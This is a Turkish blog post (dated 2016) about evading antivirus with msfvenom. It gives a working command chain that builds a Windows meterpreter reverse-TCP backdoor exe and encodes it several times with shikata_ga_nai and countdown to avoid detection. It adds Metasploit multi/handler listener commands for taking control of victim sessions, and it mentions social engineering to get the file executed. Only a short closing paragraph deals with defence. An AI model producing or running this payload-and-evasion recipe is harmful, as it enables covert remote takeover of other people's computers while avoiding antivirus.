31 Ocak 2016

MSFVenom ile Antivirüs Atlatma

Antivirüs programını atlatmak için antivirüs programını tanımalıyız. Antivirüs programları bir sandbox ortamı kurarak dosyayı bu alanda çalıştırır ve burada uygulamanın hareketlerini kendince ölçer. Çalışma anında ise nereden dosya okuduğunu, nereye yazdığını kontrol etmektedir (örn. Registerlar, …). Bazende daha önce tespit ettiği virüs uygulamasına imza kontrolu ile müdahale etmektedir.


 Bir çok antivirüs teknolojisi olmasına rağmen bu yazılımlar temelde iki şekilde çalışır:
  • İmza tabanlı (Signature Based) (hızlı sonuç)
  • Sezgisel (heuristic)
Antivirüs yazılımları her ne kadar şüpheli davranışları tespit etmek için sezgisel yeteneklere sahip olduklarını söylemiş olsalar da gerçekte eskiden beri süre gelen imza tabanlı tespittir. Antivirüs teknolojisi bünyesinde önceden bildirilmiş ve ilgili virüsü kimliklendiren bir imzaya sahiptir. Böylece antivirüs yazılımı daha önceden bildiği virüsü uygulamayı tarayarak kolayca yakalayabilmektedir.

Bilgisayar Virüsü Nedir?
Bilgisayar virüsü, kullanıcının izni ya da bilgisi dahilinde olmadan bilgisayarın çalışma şeklini değiştiren ve kendini diğer dosyaların içerisinde gizlemeye çalışan aslında bir tür bilgisayar programıdır.

Sızma testlerinde, antivirüs atlatılarak hedef sistem ele geçirmek istenilebilir ve bu zararlı kodlar kurban bilgisayarına yerleştirilmek istenebilir. Antivirüs atlatmak için kullanılan teknikler genellikle encode ederek yapılmaktadır.  Hacker genelde çalışan dosya akışını müdahale ederek istediği yönlendirmeyi yapmaktadır. Hacker antivirüse takılmamak için çalıştırabilir dosyayı encode eder. Çalıştırılabilir dosya içine küçük decoder programlar yerleştirilir. Uygulama çalışma anında virüs programını decode ederek virüs programı aktif hale getirecektir.  Antivirüs encode edilmiş kodları yorumladığından (decode etmediğinden) dosyaya müdahele edemiyecektir. Bundan dolayı uygulamanın zararlı olmadığını düşünecektir.

Aşağıdaki resimde gösterildiği gibi solda normal uygulama, sağda encode edilmiş uygulamanın yapısı gösterilmiştir. En alt kısımda uygulamaya çalışmaya başladığında çözen kısım bulunmaktadır. Çalışma anında ise uygulamanın orjinal hali aktif olacaktır. Yani çalışma anında uygulama sol taraftaki olduğunu düşünebiliriz.

Sızma testlerinde veya sosyal mühendislik testlerinde, kurban bilgisayara metasploit’in payload’u olan meterpreter ile shell açılabilmektedir. Bunun için oluşturacağımız payload antivirüs programlarına takılmaktadır. Bunu atlatmak için belirttiğimiz gibi encode etme tekniklerini uygulayacağız.

Metasploit framework yardımıyla bir arka kapı oluşturacağız. Bir şekilde üretilen dosya (encode edilmemiş kod ) antivirus programına takılacağından üretilen dosyayı encode edeceğiz. Önce  metasploit yardımıyla bir arka kapı oluşturalım. Bu dosya windowsda çalışabilir bir dosya üretecektir. Bu dosya çalıştıktan sonra reverse bağlantı ile bize 4444 portu üzerinden bizimle bağlantı oluşturacaktır.

Msfvenom Nedir?

Msfvenom, metasploit ile gelen zararlı kod üretmek ve kurban pc’den reverse bağlantı sağlayan bir araçtır. Reverse shell açabilmek için oluşturulan dosya karşı tarafta çalıştırılması gerekmektedir. Bunun için sosyal mühendislik yöntemleri gereklidir.

Msfvenom Kullanımı

Msfvenom ile arka kapı oluşturma;


Msfvenom  ile oluşturulan dosyayı virustotal’a yükleyelim. (Virustotal farklı antivirüs programlarının bulunduğu, dosya taraması yapan bir web sitedir.)

Virustotal dosyanın 36 farklı antivirüs programı tarafından zararlı yazılım içerdiğini tespit etti.

Msfvenomla zararlı yazılım ve shellcode ürettiğimiz gibi, encode da edilebilmektedir.


Rank satırlarında encoder güçlüklerini belirtmektedir. Biz burada excellent encoder frame’lerini kullanacağız.
Encode işlemini birden fazla yapmak için –i veya –iterations parametlerini kullanılır. Bu işlemler yapıldığı antivirus firmaları tarafından bilindiğinden ve virüs yazılımları imza veritabanlarında bulunduğundan bulmaları kolay olabilir.  Bunu atlatabilmek için farklı encode tekniklerini aynı dosya üzerinde çalıştırabiliriz. 

root@kali: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.13 LPORT=4444 -f raw –e x86/shikata_ga_nai -i 5 | msfvenom -a x86 –f --platform windows –e x86/countdown –i 8 –f raw |  msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe –o btriskpayload.exe


Oluşan payload’u virustotal yüklendiğinde daha fazla antivüs atlatı. Fakat bazıları payload’u yakalayabiliyor. 

Reverse Shell Açma

Zararlı yazılım oluşturuldu, ama bunu kontrol edecek bir durum yoksa bir işe yaramaz. Uzaktan kontrol edebilmek için metasploit ile  kurban bilsayarı arasında session kurmamızdır.
Msfconsole açtıktan sonra

msf exploit (handler) > use exploit/multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_tcp
msf exploit (handler) > set LHOST 192.168.2.13 // saldırgan IP
msf exploit (handler) > set LPORT 4444 // saldırgan port
msf exploit (handler) > exploit //dinleme modu


Kurban makinede açılan zararlı yazılım bize istekte bulunacaktır. Otomatik olarak geçiş yapacaktır. Çok fazla kurban cihazı olduğunda session listelenen oturumlardan seçim yapılabilmektedir. Dinleme modu başlatırken kullanılan komut şu şekilde olacaktır.

meterpreter > background

msf exploit(handler) > sessions –l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444


gelen sessionlardan biri session id değeri ile seçilir.
msf exploit(handler) > sessions –i 1
[*] Starting interaction with 1...

meterpreter >

Metasploit ve meterpreter hakkında daha fazla bilgi almak için tıklayınız

Zararlı Yazılımlardan Nasıl Kurtulunur?

End-point noktasında koruma antivirus ile olmaktadır. Eğer böyle ise antivirüs uygulamaları signature temelli çalıştıklarından güncel olmasına dikkat edilmelidir. Eğer zamanınız varsa uygulamaları statik ve dinamik analiz ederek zararlı olmadığını düşündükten sonra kurmalısınız.